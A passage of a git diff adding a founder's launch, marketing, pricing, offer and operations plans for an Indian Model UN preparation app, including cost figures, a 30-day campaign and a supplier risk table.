Task | Owner | Deadline | +|---|---|---| +| Soft open: give access to 10 real delegates (seniors, club heads, the coordinators' students) in exchange for brutal feedback | Founder | Tue 3 Nov | +| Fix whatever the soft open breaks. **Do not fix anything else.** | Founder | Thu 5 Nov | +| Cap Max mode per pass, or move it behind the monthly tier (`cfo.md` §risk 2 — the highest-value fix in the pack) | Founder | Thu 5 Nov | +| Set up the uptime ping and confirm payments reconciliation runs end to end with the real provider | Founder | Fri 6 Nov | +| Write the launch-day posts and the stall cards | Founder | Fri 6 Nov | +| **Freeze. No code changes after this point.** | Founder | Fri 6 Nov | + +**Critical path:** the free first brief (Fri 16 Oct) → the test's start (Mon 19 Oct) → the result (Sun 1 Nov) → launch (Mon 9 Nov). **Every other task can slip a week without moving the launch date. Those four cannot.** If the free brief slips, launch slips with it, and the correct move is to slip the date rather than launch without it — because launching without it means launching into the funnel that already converts nobody. + +## Step 3 — launch day: Monday 9 November 2026 + +| Time | What happens | Channel | +|---|---|---| +| **08:00** | Payments reconciliation first, before anything else. Confirm the launch offer's entitlement works end to end with one real ₹199 payment. | Internal | +| **08:30** | Final check: price visible logged-out, free brief works logged-out, refund promise on the site, uptime ping live. | Internal | +| **09:00** | Launch post: the screen recording of a real brief, unedited, no music. | Instagram | +| **10:00** | Email the 20 coordinators personally, one at a time. Not a BCC. | Email | +| **11:00–13:00** | Founder at the keyboard. First launch traffic arrives; watch the payments queue and errors live. | Internal | +| **14:00** | Second post: the honest comparison — what a general assistant gives for the same committee, side by side, real screenshots. | Instagram | +| **16:00** | Check the three numbers. If free-brief starts are under 20, the audience is the problem, not the product — do not spend money to fix it. | Internal | +| **18:00** | Reply to every single DM personally. This is the highest-value hour of launch day. | DM | +| **21:00** | Day-1 numbers recorded: free-brief starts, paid, conversion, delegations. | Internal | + +**If something breaks:** the risk register in `ops.md` is the plan. The one rule that overrides everything — **if payments fail, the stall catches people in person**, so launch on a day when there is a human being reachable within minutes. Payment failures get access granted on trust (Routine A) and reconciled later. + +**The opening offer, stated exactly:** *"Founding 50: the first 50 delegates get a full month for ₹199 — the price of a week. Plus the first brief is free, before you pay anything."* It ends when 50 are sold or on **30 November**, whichever comes first. + +## Step 4 — the first 30 days + +### The numbers, and what triggers a change + +| Number | Where it comes from | Day-7 target | Day-30 target | **Change something if** | +|---|---|---|---|---| +| Passes sold per day | CFO: break-even is ~8/month | any | 2–4/day | **Under 1/day by day 30.** The channel is wrong, not the product. | +| **Free-brief → paid conversion** | marketing | ≥10% | ≥15% | **Under 3%.** The output is not worth paying for. This is the number that decides the business. | +| Free-brief starts | marketing | 75 | 400 | **Under 25/week.** Nobody is arriving. | +| Delegations activated | offer: the 40% cohort | 1 | 2 | **0 by day 30.** The block thesis is dead, and only individual ₹299 sales remain. | +| **Cost per pass** | CFO: the weakest input | < ₹60 | < ₹120 | **Over ₹120.** Stop and fix the mode mix before anything else (`ops.md` Routine E). | +| Refunds | ops | 0 | < 5% | **Over 10%.** The promise is being tested and the product is failing it. | + +### The three reviews + +**Day 7 (Mon 16 Nov) — "is anyone arriving?"** +Did the posts get shared, or just liked? Did any coordinator reply, and did any of them bring a delegation? **The question to answer: is the audience reachable at all**, or does this need a channel the founder does not have? + +**Day 14 (Mon 23 Nov) — "does the free brief convert?"** +This is the review that matters. Take every account that started a free brief and did not pay, and contact them personally. **Not to sell — to ask what the brief got wrong.** If the answer is "it was fine, I just didn't need it", that is an audience problem. If the answer is "I couldn't trust it", that is the product problem the whole pack has been pointing at, and the response is retrieval — not more marketing. + +**Day 30 (Tue 9 Dec) — "does this become a business, or stay a project?"** +Against the day-30 target column above. And two honest questions with no spreadsheet behind them: **did any delegate's conference actually go better because of this — and can the founder name one?** If yes, the business has a proof to build on and the Jan–Mar season is the runway. If no, the correct answer is to say so, and the pack's next step is not a bigger launch — it is `offer.md` again. + +### What happens after day 30 + +The Jan–Mar season is the real test (conferences peak Jan–Mar and Aug–Nov). December is quiet, which makes it the right month to build the one asset the monopoly lens said was the only available moat: **the Indian MUN conference calendar** — dates, committees, agendas, chairs, results. It is unreachable by a competitor with a model API, it is the thing that makes the product's conference-shaped interface actually work, and it can be built in a quiet month by one person. **That is what December is for.** diff --git a/founder/marketing.md b/founder/marketing.md new file mode 100644 index 0000000..3c69be1 --- /dev/null +++ b/founder/marketing.md @@ -0,0 +1,144 @@ +# Marketing + +**Launch = the day the free first brief goes live.** Not the day the product first existed; the product is already online and its current funnel converts nobody, because nobody can see it. Everything below is dated from that day. `Day 0` is launch day. + +## Rules I am holding myself to + +- **The panel quotes in this pack are research, not testimonials.** They are simulated. Not one of them goes on the website, in an ad, or in a caption. +- **No invented reviews, follower counts, awards or "as seen on".** When proof does not exist yet, the campaign sells the *demonstration* instead — the free brief is real, verifiable proof of the product itself, and it is the honest asset to lead with. +- **Panel evidence sets the audience, not my taste.** The buyers were award chasers (60%), first-timers (50%) and club coordinators (40%). The 0% groups get no money spent on them. + +## Positioning + +Three versions, then the one to use. + +**A — for the committed delegate (recommended)** +> For MUN delegates with a conference date in the next month and an award on their mind, MUN Prep is the preparation workspace that turns your committee, your agenda and your country into a research brief, a position paper and a speech you can actually deliver — in the time a free chatbot takes to give you something too generic to say out loud. + +*Evidence:* award chasers bought at **60%** and first-timers at **50%**, against 11% for "already uses ChatGPT" and **0%** for "prepares the night before" and the deal hunters. The award chaser said it best: *"I am one award away from a good university application."* Sales go to the delegate who already cares about the outcome. + +**B — for the coordinator** +> For the student who runs their school's MUN club, MUN Prep is the delegation-wide prep system that gets twenty first-timers ready for one conference from a single account and a single invoice — instead of everyone prompting ChatGPT and hoping. + +*Evidence:* the club-head cohort had the **highest buy rate in the panel (40%)** and asked for it directly: *"If it works I want it for twenty people, not one."* This is the version with the biggest money behind it, and the one that requires a sales conversation rather than a landing page. + +**C — the honest anti-positioning (use in comparison content only)** +> MUN Prep is cheaper than the specialist tools and faster than prompting a general chatbot — and we will show you a brief free before you pay, because we know the only question that matters is whether the output is any good. + +*Evidence:* the top flip condition in every single panel segment was *show me the output first*. This version makes a weakness into a demonstration and is the only positioning that answers the trust objection head-on without claiming a rigour the product does not yet have. + +**Use A as the site's headline and message. Use B in outbound to schools and clubs. Use C on the comparison and FAQ pages, where the objection is already in the visitor's head.** + +**Test:** A and C are both defensible and the pack cannot settle between them from 40 simulated answers. Run both headlines against the same traffic for two weeks; the one with the better click-to-free-brief rate is the site's headline. That test costs nothing but a copy change. + +## Channels — two to start, three others explicitly not + +| Channel | Why it fits *this* buyer | Cost | How I'll know it worked | +|---|---|---|---| +| **1. School and club MUN coordinators (direct outreach + a conference-market stall)** *(primary)* | The highest-converting cohort in the panel, and the only one where one conversation produces many users. Teachers and club heads are findable, they answer email, and they are the ones holding the delegation's prep time. This is the block sale from `offer.md`. | Time. Maybe ₹2,000–5,000 for printed delegate cards and a stall at one conference. | **Meetings booked and delegations activated.** A delegation of 20 is worth ~20× a single signup in prep hours and 1 invoice in admin. | +| **2. MUN Instagram content, built to be saved and shared** *(primary)* | This is where the delegate already is, and the format suits the product: a 30-second before/after of a position paper, or a screen recording of one brief being generated. The delegate who *sends it to their club group* is the distribution. | ₹0 to produce; ₹0 media. | **Free-brief starts with a referrer from Instagram.** Watch saves and shares, not likes. | +| ~~Paid Instagram/Meta ads~~ | **Do not run these.** See the CAC maths below — the economics do not allow it. | — | — | +| ~~Google search ads~~ | The searcher here types "mun position paper" and finds a free generator that works with no login. Winning that auction to sell a ₹299 pass is paying to lose. | — | — | +| ~~Influencer/creator paid posts~~ | Wrong economics at this price point (see CAC below), and the panel's trust cohort discounts paid praise anyway. Do it later with *unpaid* creators who actually use it, disclosed. | — | — | + +**The channel the pack's evidence actually points at is the one that is hardest to scale: the coordinator conversation.** That is a warning worth stating plainly — the highest-converting channel here is a sales channel, and the founder is the only salesperson. Everything else in this plan is supporting cast. + +## The CAC ceiling — why paid ads are off the table + +From `cfo.md` and the panel: + +- Contribution per pass: **₹254** +- Purchases per buyer in the first month: **2.0** (panel) +- Value of a first-month customer: **₹508** +- **Maximum sensible cost to win a customer, at the standard one-third-of-value ceiling: ₹169.** + +Now the reality of Indian paid social: a click on a student-interest ad costs roughly ₹2–8, and a landing page → free brief → paid conversion for a ₹299 impulse purchase might generously run 2–5%. At ₹5/click and 3%, **CAC is ~₹167 — sitting exactly on the ceiling, before any of the creative cost, and with zero margin for error.** + +**The conclusion is not "ads are expensive". It is that this product can never be bought with paid traffic at ₹299 with a 30-day life.** Growth has to come from channels where the marginal cost of a customer is a conversation or a share, and the only two of those available are the coordinator and the club group. *If ads are ever tested, the only defensible test is ₹5,000 total, judged on free-brief starts (not sales), and stopped the day it is spent.* + +## The 30-day campaign + +| Day | What goes out | Channel | Message | +|---|---|---|---| +| **-14** | Fix the funnel: price visible on the landing page, `/pricing` no longer redirects to sign-in, the free brief built and working | Product | *(not marketing — but nothing below works until this ships)* | +| **-10** | 20 coordinator conversations booked, 10 conferences picked from the mymun calendar for Oct 2026 – 2027 (season peaks Jan–Mar and Aug–Nov) | Direct outreach | "I built a prep tool for MUN delegates. Can I show it to your club for free and hear what's wrong with it?" | +| **-7** | The first 5 real delegate briefs generated and read end to end, on real committees, by real delegates | Product + DM | Nothing public. This is the honesty check: if the output is not good, the launch stops here. | +| **-3** | Launch post #1: the problem, told straight | Instagram | "Every delegate writes their position paper at 11pm the night before. Here's what that looks like for your committee." | +| **-1** | Coordinator emails sent to all 20, individually written | Email | "Free for your club's delegates for the first conference this season. One account, tell me if it's useful." | +| **0 (launch)** | The free brief goes live. Launch post #2: the demonstration | Site + Instagram | Screen-recorded: committee + agenda + country in, complete brief out, in real time. No cuts. | +| **1** | Launch post #3: the honest comparison | Instagram + site FAQ | "This is what ChatGPT gives you (screenshot). This is what we give you (screenshot). Judge for yourself — the first one's free." | +| **2** | First coordinator call | Call | Listen, do not pitch. Every objection goes into a file. | +| **3** | Post #4: the conference countdown | Instagram | "Your conference is in 19 days. Here's the prep order that actually works: research → position → speech → POIs → clauses." *(links to a free in-app checklist, paywalled at the writing step)* | +| **5** | Behind the scenes | Instagram story | The mode toggle being deleted because it confused a real delegate. Show the work. | +| **7** | **The number check** *(see below)* | Internal | If free-brief → paid conversion is below 3%, stop the campaign and re-read the objections. Do not raise ad spend. | +| **8** | The weekly-pass push for the closest conference | Instagram + DM | "Second Saturday of the month: most Indian conferences are 3 weeks out. ₹199 covers the whole prep week." | +| **10** | Second coordinator call, with their delegates' actual use | Call | Ask for the delegation deal shape. | +| **12** | Post #5: a real delegate's actual result | Instagram | **Only if a delegate consents and it happened.** If it did not, post the sources page instead. | +| **14** | The "who this is not for" post | Instagram | "If you already have a coach and a folder of senior papers, you don't need this. Save your money. Here's a free checklist instead." *(Builds trust with the 0% segments without chasing them.)* | +| **16** | Second number check | Internal | Free-brief starts, conversion, delegations activated. | + +**When there is nothing new to say:** post the making of. A solo founder building for Indian MUN delegates, showing the actual trade-offs (why the school price is not published yet, why a mode toggle got deleted, what a brief costs to generate) is the most credible content this business has, and it costs nothing. + +## Ten hooks — each one answers a panel objection + +*All ten are written as first-person-or-direct address, for Instagram (3-second opening line) unless marked.* + +1. **Answers "I don't trust AI facts in committee, the chair will catch me out" (10 buyers — the biggest objection).** + *"Before I put anything in a speech, I check every claim — here's the 30-second check I do, and here's what your own committee needs you to know."* **Do not claim the tool is accurate. Show the check.** *(The product fix for this is retrieval; until then, teach the check.)* + +2. **Answers "ChatGPT is free and it's already on my phone."** + *"I've got ChatGPT too. Watch what it gives me for 'UNEP, India, climate finance' vs what I can actually stand up and say."* + +3. **Answers "show me before I pay" (the top flip condition in every segment).** + *"Your committee. Your country. One full brief free, no card. If it's bad, tell me and I'll delete it."* + +4. **Answers "299 is a lot of my pocket money" (7 buyers).** + *"Your conference fee was ₹2,500. This is ₹199 for the week — less than your travel, and you spend the travel either way."* + +5. **Answers "I only need this once, the night before."** + *"The night before is too late. Here's the 14-day prep order — and here's the one thing to do tonight."* + +6. **Answers "my school coach already preps us for free."** + *"Your coach is right. Show this to your coach — if it saves them a Saturday, it's worth telling the school about."* *(Turns the coach from competitor into channel — the honest move.)* + +7. **Answers "I'll just ask a senior for their old position paper."** + *"A senior's paper from 2023 will get you a 2023 answer. Here's how to check whether it's still true."* + +8. **Answers "will my chair penalise me for AI-written work?"** + *"You should write your own paper. That's what the conference is for. Here's how to use a tool for the research and still hand in your own work."* *(This is the honest position and it needs saying out loud, in those words.)* + +9. **Answers "I run the club, I need it for everyone" (the 40% cohort).** + *"If you run your school's MUN club, DM me. I'll set your whole delegation up for your next conference — and tell me what's broken."* + +10. **Answers the whole objection set at once — the honest one.** + *"This is a tool built by one person for Indian MUN delegates. It's not as good as the expensive ones yet, it's a fifth of the price, and I'll show you the output before you pay. If that's not enough, don't buy it."* + +## Budget + +Total: **₹10,000**, all of it already in `numbers.json` as launch budget. + +| Line | Amount | Why | +|---|---:|---| +| **Printed delegate cards + a stall at one conference** | ₹5,000 | The one place the target buyer is physically in a room, already thinking about prep, with their club coordinator standing next to them. Not branding — a QR code to the free brief. | +| **Two half-day trips for coordinator meetings** | ₹3,000 | The highest-converting channel needs the founder in the room. | +| **Everything on Instagram** | ₹0 | Content costs time, which is not being billed here. | +| **Paid ads** | ₹0 | See the CAC ceiling — this is not discipline, it is arithmetic. | +| **Reserve** | ₹2,000 | The first thing that needs money once something starts working. | + +## The three numbers to watch weekly, and what means "change something" + +| Number | Healthy | **Change something if** | +|---|---:|---| +| **Free-brief → paid conversion** | ≥10% | **Below 3%.** The output is not good enough — no amount of marketing fixes it, and the response is to make the brief better (or reposition to strategy coaching), not to spend more. | +| **Free-brief starts per week** | 100+ from organic by week 4 | **Below 25.** The audience is wrong, not the product — go back to the coordinator channel, which is where the buyers actually were. | +| **Delegations (schools/clubs) activated** | 2 by day 30 | **0 by day 30.** The highest-converting cohort is unreachable, which kills the block-sale thesis in `offer.md` and means the whole plan rests on individual sales at ₹299 — the hardest path. | + +**The weekly question is not "how many sales did we get". It is "who tried it and did not buy, and why".** That is the only number in this plan that produces information instead of a mood. + +## What will not be done, and why + +- **No paid acquisition.** The arithmetic forbids it at ₹299 with a 30-day customer life. +- **No influencer payments.** Same arithmetic, and the panel's trusters discount paid praise. +- **No fake social proof.** There is none yet; the free brief is the proof, and it happens to be a better one. +- **No marketing to the "prepares the night before" segment.** They are the largest group in the panel and they bought at **0%**. Marketing to them would burn the entire budget to reach people whose stated problem is that they do not prepare. +- **No claim of accuracy that the product cannot yet keep.** Not in an ad, not on the landing page, not in a hook. **This is the one rule that would do lasting damage to break.** diff --git a/founder/numbers.json b/founder/numbers.json new file mode 100644 index 0000000..ab95976 --- /dev/null +++ b/founder/numbers.json @@ -0,0 +1,23 @@ +{ + "business": "MUN Prep App — AI preparation workspace for Model UN delegates (India-first). All amounts in Indian rupees (INR); the tool prints '$' where it means rupees.", + "unit": "monthly pass (30 days of access)", + "price": 299, + "variable": [ + {"label": "NVIDIA inference, GLM-5.3-Flash — ~28 Quick/Thorough requests at $0.15/M in, $0.50/M out", "cost": 7.00}, + {"label": "NVIDIA inference, Kimi K3 — ~1.5 Max-mode requests at $3/M in, $15/M out", "cost": 18.00}, + {"label": "Referral commission 16.72% of the first payment, amortised across all customers (assumes ~40% arrive via a partner)", "cost": 20.00} + ], + "fixed_monthly": [ + {"label": "Vercel Pro (commercial use is not permitted on the free Hobby tier)", "cost": 1760}, + {"label": "UroPay Growth plan (flat, up to 50 transactions/month, zero per-transaction commission)", "cost": 100}, + {"label": "Domain name, annualised", "cost": 83}, + {"label": "Supabase free tier", "cost": 0} + ], + "startup": [ + {"label": "Domain and first year of tooling", "cost": 5000}, + {"label": "Launch test budget (the real-buyer test in launch.md)", "cost": 10000} + ], + "days_per_month": 30, + "plan_per_day": 8.0, + "ramp_per_day": [0.2, 0.47, 0.87, 1.5, 2.27, 3.07, 4.0, 5.0, 5.93, 6.83, 7.67, 8.5] +} diff --git a/founder/offer.md b/founder/offer.md new file mode 100644 index 0000000..a54729c --- /dev/null +++ b/founder/offer.md @@ -0,0 +1,91 @@ +# The offer + +## The offer today, stated plainly + +> *Pay ₹199 for a week (or ₹299 for a month). You cannot try it first. You cannot see the price until you sign in. There is no refund policy stated on the site. If it does not work for you, you have lost the money and the week.* + +That is not an offer. **That is a price with a gamble attached.** The price is validated; the *offer* fails, and it fails for exactly one reason: it shifts every rupee of risk onto the buyer *before* they have seen a single line of the product's output. + +## What the panel proved + +**9 bought, 31 passed — a 22% buy rate, below the 25% bar.** Read the disclosure in `panel/results.md`: the panel is simulated, so treat 22% as a direction, not a measurement. But the *reasons* are the useful part, and they cluster brutally: + +| Reason they passed | Buyers | The objection, in their words | +|---|---:|---| +| **Trust** | 10 | *"I don't trust AI facts in committee, the chair will catch me out."* (P002) · *"I could not find anyone who used this. That is not proof it works, that is proof nobody is saying it does."* (P004) | +| **Price** | 7 | *"There is no free trial and I never pay full price for something I have not tested."* (P005) · *"299 is a whole week of lunch."* (P008) | +| **Other (the coach)** | 5 | *"Our school coach runs sessions and my parents already paid 2500 for the conference. I will ask him, not an app."* (P007) | +| **Convenience (the free substitute)** | 5 | *"A senior in my WhatsApp group sent me their whole folder of old papers."* (P012) | +| **Quality** | 3 | *"At 11pm the night before I would pay anything, but you have to show me something first."* (P025) | + +**The single most common flip condition across the whole panel was: show me the output first.** Four buyers asked directly for it; it was the top answer to "what would change your mind" in every segment. + +## The bigger problem the panel exposed + +The panel is not only telling us the offer lacks proof. It is telling us **who the product is sold to is wrong.** + +| Behaviour group | Buy rate | +|---|---| +| Award chaser, reads past papers | **60%** | +| First conference, no idea what to expect | **50%** | +| **Prepares the night before** (the biggest group, 8 buyers) | **0%** | +| **Deals hunter** | **0%** | +| **Nobody has used this, asks seniors** (the trusters) | **0%** | +| Already uses ChatGPT for everything | **11%** | + +The buyers are the **committed** ones: award chasers and first-timers who are scared. The passers are the **situational** ones: the late-night crammer, the deal-hunter, the sensible one who asks a senior first. And by segment, **the club head or coordinator bought at 40% — the highest rate in the panel.** + +**So the offer is chasing the wrong buyer.** It is priced and pitched at the casual delegate (₹199 for a week, "prepare like your committee starts tomorrow") while the people who actually say yes are the ones who *care about the outcome* — the award chaser with three conferences this season, and the coordinator who needs it for twenty people. + +## The offer to build instead + +### For the delegate: **"The conference week" — ₹199, and you see it before you pay for it.** + +**The stack, in the order they experience it:** + +1. **A free brief, on your real committee.** Enter your committee, your agenda and your country. Get one complete research brief. No card, no sign-in beyond the account you already have. *This is the whole risk reversal, and it costs the founder about ₹0.07.* +2. **A week of full access for ₹199** — timed to *the date of your conference*, not to the calendar. The workspace asks when the conference is and shapes itself around the remaining days. +3. **The delegate's kit:** research brief, country position, position paper, opening speech, POIs, resolution clauses, and the courses/glossary tab when they hit a term they don't know. +4. **The guarantee: if the conference doesn't go better than it would have without it, tell us within 7 days and we'll refund it.** Word it exactly that loosely, and honour it without argument. At ₹0.07 per brief and UroPay charging nothing per transaction, the refund rate is far cheaper than the conversion rate it buys. *This is a founder decision, not a legal document — keep it as plain as it is written here and get an accountant's eye on the wording before publishing.* +5. **Proof, as it arrives.** Publish the first delegate who agrees to be named, with their conference, their committee, their result and their actual words. **Do not write a testimonial for anyone.** Until then, publish the *sources*: a public page showing where the facts in a MUN Prep brief come from. + +### For the school or club: **"The delegation" — priced per block, not per seat.** + +The panel's highest buy rate (40%) and the clear ask from a club head (*"If it works I want it for twenty people, not one"*). The shape is a term-length block for a delegation, invoiced to the school or the club, with the coordinator as the buyer and the delegate as the user. **The number is not set yet** — there are no real school deals to price from, so this goes to `ops.md` and `launch.md` as a task, not as a guess. What is decided here is the *shape*: one invoice, many seats, a term of access, and the coordinator deciding — not twenty teenagers each deciding on their own. + +## Killing the three leaks + +None of the offer work lands unless these are fixed, and they are all one-line changes: + +1. **The price is behind a sign-in.** `/pricing` redirects anonymous visitors to `/auth/signin`. A delegate who cannot see the price cannot decide anything. **Show the price, and show it on the landing page.** +2. **There is no way to feel the product before paying.** Fixed by the free brief above. +3. **The site says nothing about what happens if it doesn't work.** Fixed by the guarantee above, written in one sentence a 15-year-old can parse. + +## The first sentence + +The current headline is *"Prepare like your committee starts tomorrow."* It is well written and it sells the wrong thing — it is aimed at the last-night crammer, **the group with a 0% buy rate.** + +The offer's headline should name the buyer who actually buys, and the moment that buyer is in: + +> **Three weeks to your conference. Your committee, your country, your brief — before you pay.** + +That sentence names the committed delegate (an active season, a date in hand), promises the specific artefact, and kills the two biggest objections in the same breath: *you see it first*, and *it is shaped around your deadline*. + +## What not to do + +- **Do not add features to answer the objections.** The panel's passers did not say "it needs more modes". They said "I don't trust the facts" and "show me first". More modes would make the cost problem worse and answer none of it. +- **Do not answer the trust objection with clever copy.** The trust objection gets answered by retrieval, by sources the delegate can open, and by other delegates' results — in that order. **The copy problem is not a copy problem.** +- **Do not discount the price.** ₹123 is where buyers start distrusting the quality, per the pricing curve. A discount below that would convert *worse*, not better. +- **Do not launch the school offer blind.** Get two schools to agree before publishing a per-delegation price, or the first number becomes the anchor forever. + +## Does this offer pass the value equation? + +**Dream outcome: yes** — a delegate who speaks well and might win has a dream outcome, and it is measurable in an award. + +**Perceived likelihood: currently no, and that is the whole battle.** The delegate does not believe the output is true. This is a *product* problem presenting as a marketing problem: no citations, no retrieval, no third-party proof, no free trial, and a direct competitor whose entire pitch is "we don't make things up". + +**Time delay: excellent** — a brief in about a minute, on a phone, the night it's needed. + +**Effort and sacrifice: poor, and it is the easiest fix in the pack** — sign in, then pay, then discover, with the price hidden until account creation. Every one of those steps is a deliberate choice that can be reversed in an afternoon. + +**Two of the four favour the buyer strongly. One is a product flaw that must be fixed in the product. One is a copy-and-flow flaw that must be fixed today.** That is a good place for an offer to be: it is not a reason to stop, it is a reason these specific changes are the next thing to build. diff --git a/founder/one-pager.md b/founder/one-pager.md new file mode 100644 index 0000000..6ba692f --- /dev/null +++ b/founder/one-pager.md @@ -0,0 +1,65 @@ +# MUN Prep — one page + +**Verdict (computed, not written): Not yet.** Three of four checks pass; the buyer check falls short at 22% against a 25% bar. The plan is one real test away from a different answer. + +## The problem + +A Model UN delegate in India has a conference in three weeks, a committee they have never sat in, and a country they know nothing about. They have to produce researched policy, a position paper, an opening speech, points of information and draft clauses — and they do it at 11pm on a phone, mostly by prompting a free general-purpose chatbot that returns something too generic to say out loud, or by borrowing a senior's paper from two years ago. The conference fee their parents already paid is around **₹2,500**. There is no prep tool built for the Indian circuit at a price an Indian student would pay. + +## The customer + +**Model UN delegates in India, aged 14–22**, preparing for a specific conference date. The ones who actually buy are the **committed** ones: delegates chasing an award (60% buy rate in the panel) and — the highest-value cohort — **club heads and school coordinators buying for a whole delegation** (40%). They are found on Instagram, in WhatsApp club groups, and through their teachers. + +## The offer and the price + +An AI preparation workspace: give it the committee, the agenda and the country, and it produces the research brief, country position, position paper, opening speech, POIs and resolution clauses, with MUN courses and a glossary alongside. On a phone, in about a minute. + +- **₹199 for one week** — matched to the week of a conference +- **₹299 for one month** +- Paid by **UPI**, through **UroPay** — which charges **zero per-transaction commission** (a flat ₹0–1,000/month by volume), meaning no payment fee comes off any sale +- **Planned change:** a **free first brief, once per account, before any payment** — it costs about seven paise to serve and it answers the most common objection in the panel + +## The numbers + +| | | +|---|---| +| **Contribution per monthly pass** | **₹254** (85%) | +| **Fixed costs** | **₹1,943/month** | +| **Break-even** | **~8 passes a month** (one every four days) | +| **Year 1 operating profit** | **₹329,566** on ₹415,401 of revenue | +| **Cash needed to start** | **~₹15,400**; break-even on cash in **month 4** | +| **Price range buyers accept** | ₹123–₹800, indifference point ₹304 — ₹299 sits inside it | + +*Volume sensitivity: a 60% shortfall on the ramp still yields ₹117,837 in year 1 at a 78% margin.* + +## The evidence + +**Panel:** 40 simulated buyers, 9 buy, 31 pass — **22%**, one buyer short of the 25% bar. The biggest objection is **trust** (10 of 31 non-buyers do not believe AI-generated facts will survive a committee), followed by **"show me before I pay"**, the top flip condition in every segment. The most uncomfortable finding: the largest cohort, delegates who prepare the night before, bought at **0%**. + +**Competitor gap:** the category leader, Model Diplomat, is priced at **~₹1,060–1,760/month** with a free tier of 50 searches/day — **one-fifth to one-sixth of it, but with better trust**, because it cites primary sources and this product has no retrieval layer behind its "do not invent citations" instruction. **Below** it, ChatGPT Go is ₹399/month. MUN Prep is the cheapest paid option in the category, and the cheapest option of all is free. + +**Real test: none yet.** That is what the money and the next two weeks are for. + +## The board + +Three lenses, two fund-if and one pass, average **5.7/10** — agreed on the product's craft and on the two funnel defects, disagreed on whether a well-built product with no moat is a business. The strength of the case: a genuinely small, ownable market (a delegation preparing for one conference, bought as a block) with a cost structure that breaks even at eight sales a month. The gap: no proprietary data, no network effect, no brand, and a copy time measured in a weekend. + +**The biggest risk is not demand — it is the "Max" mode.** Kimi K3 costs ₹13.86 per request, **191× the default model**, on a user-selectable toggle with identical daily caps on both plans. One Max request a day loses ₹117/month per user. Capped per pass, the scenario disappears. + +## What the money is for + +**₹15,000 startup, ₹10,000 of it earmarked for the launch test** (printed delegate cards and a conference stall, coordinator travel), plus a ₹1,760/month Vercel Pro requirement the moment the product is commercial. **No paid advertising** — the arithmetic forbids it: at ₹254 of contribution and 2.0 purchases per buyer, the most that can be spent to win a customer is **₹169**, which is roughly what one click-to-purchase costs already. + +## The ask + +None, in the sense of investment — **this starts on ₹15,400 of the founder's own money and reaches cash-positive in month four.** The ask is of the market: + +> **Fifteen real delegates who pay ₹199 in the next two weeks.** Reach 150 directly, in person and by DM. Written down before running: if 15 pay, the model is confirmed; under 5, trust the real buyers over the simulation and go back to the offer. + +## The one thing to do this week + +**Build the free first brief** — one complete research brief, once per account, before anyone is asked to pay. Seven paise to serve, and it is on the critical path: the launch test cannot start without it. + +--- + +*The panel is simulated buyers and the money figures are projections from modelled inputs; real customers and real quotes are what confirm them. Not financial, legal or tax advice — the GST position, the treatment of referral commissions, business registration and the children's-data question (the product serves minors and has no age gate) all need an accountant or a lawyer. Estimates are labelled as estimates throughout, and `cfo-sources.md` names each one.* diff --git a/founder/ops.md b/founder/ops.md new file mode 100644 index 0000000..7c9d7e7 --- /dev/null +++ b/founder/ops.md @@ -0,0 +1,121 @@ +# Operations + +Not a café — so no opening shift. But this business *does* have a daily cycle, and one step in it is the difference between a working product and an angry WhatsApp message. Adapted from the skill for a one-person software business. + +## 1. What has to happen every day + +Marked ✅ = the customer sees it. + +**Every day (about 15 minutes of human attention):** + +1. **Payments pending** — the reconciliation queue. UroPay confirms a UPI credit by reading a bank SMS; when that fails, a person who paid has no access. **This is step one, it is the only step that produces angry customers, and it must run before anything else.** ✅ +2. **Failed/abandoned entitlement grants** — anyone who paid but whose access did not activate. ✅ +3. **Support inbox** — replies within 24 hours. ✅ +4. **AI usage vs caps** — check whether any account is at or over the daily cap, and (once usage logging exists) whether any single account's inference cost exceeds what they paid. **This is the Max-mode watch from `cfo.md`.** Invisible today; it is the step that protects solvency. +5. **Error log skim** — a broken AI route is a silently dead product. + +**Weekly (about 90 minutes):** + +6. **Model cost review** — pull actual token usage, multiply by the published rates, compare with the ₹25/pass assumption in `numbers.json`. **This is the "weekly reorder" of this business** — it is the one routine that produces a real number where there is currently a guess. +7. **The three marketing numbers** from `marketing.md` (free-brief → paid, free-brief volume, delegations activated). +8. **Referral audit** — any anomalous commission (self-referral attempts, commission on a refunded payment, a partner account that should not be active). +9. **Dependency check** — did any model provider change a price, deprecate a model, or change a rate limit? + +**Monthly:** + +10. **Backup verification** — a restore actually tested, not a backup assumed. +11. **Invoice/receipt reconciliation** against UroPay's own statement. ✅ (the parent reads it) +12. **Re-run the CFO's model** with real numbers replacing the three guesses in `cfo-sources.md`. + +## 2. Suppliers + +Every input, with a real price and the contractual thing to watch. + +| Supplier | What it provides | Cost | Payment terms / minimums | The thing to watch | +|---|---|---|---|---| +| **UroPay** (`uropai.me` / `uropai.in`) | UPI collection, zero per-transaction commission | ₹0 free (≤15 txns/mo) · **₹100/mo** Growth (≤50) · ₹1,000/mo Unlimited | Monthly subscription; no minimum, no KYC claimed | **The single most important supplier risk in this file.** Its screenshots claim zero commission, no registration, no KYC, and settlement direct to the founder's bank. Those are *vendor claims* — two months of invoices will confirm or refute them. Two specific questions to ask them in writing: **how does a refund work through it**, and **what is the dispute/chargeback path** for a UPI payment. The confirmation mechanism (reading bank SMS) is unusual and is the most likely daily failure point. | +| **NVIDIA NIM** (via `lib/ai/router.ts` → `lib/ai/nvidia.ts`) | Inference: `z-ai/glm-5.3-flash` ($0.15/$0.50 per M) and `moonshotai/kimi-k3` ($3/$15 per M) | Usage-based, no minimum, no commitment | Prepaid credits / usage billing | **Provider risk is concentrated here and it is existential to the cost structure.** A price change on Kimi K3 or a model deprecation is a same-week emergency. Keep the router's model names configurable (they are), and test a second provider's equivalent before it is needed rather than after. | +| **Vercel** | Hosting | **₹1,760/mo** ($20 Pro) — mandatory: **the free Hobby tier is not licensed for commercial use** | Monthly | The moment money changes hands, this cost starts. Do not run a commercial product on Hobby. | +| **Supabase** | Postgres, Auth, RLS, Storage | **₹0** on the free tier | Free; paid plan when limits are hit | The free tier is the reason this business can start at zero cost. It is also the thing that fails first — the free tier has no daily backups. **The first real growth triggers a paid Postgres plan**, and that is a new fixed cost that `numbers.json` does not yet carry. | +| **Domain registrar** (Registrar to be confirmed by the founder) | `mun-ai-app.vercel.app` is a Vercel subdomain; a real brand needs its own domain | ~₹1,000/yr (₹83/mo) | Annual | Own the domain before any marketing is printed. A `.vercel.app` URL in a school pitch looks unfinished. | +| **Model/API keys** | — | — | — | Server-side only, never in the client. The security remediation already established this; **it is the one asset whose leak is a runaway bill.** | + +**If any real price differs from `founder/numbers.json`, the CFO must re-run.** The three most likely to need correcting after month one: inference per pass, the UroPay plan tier actually required 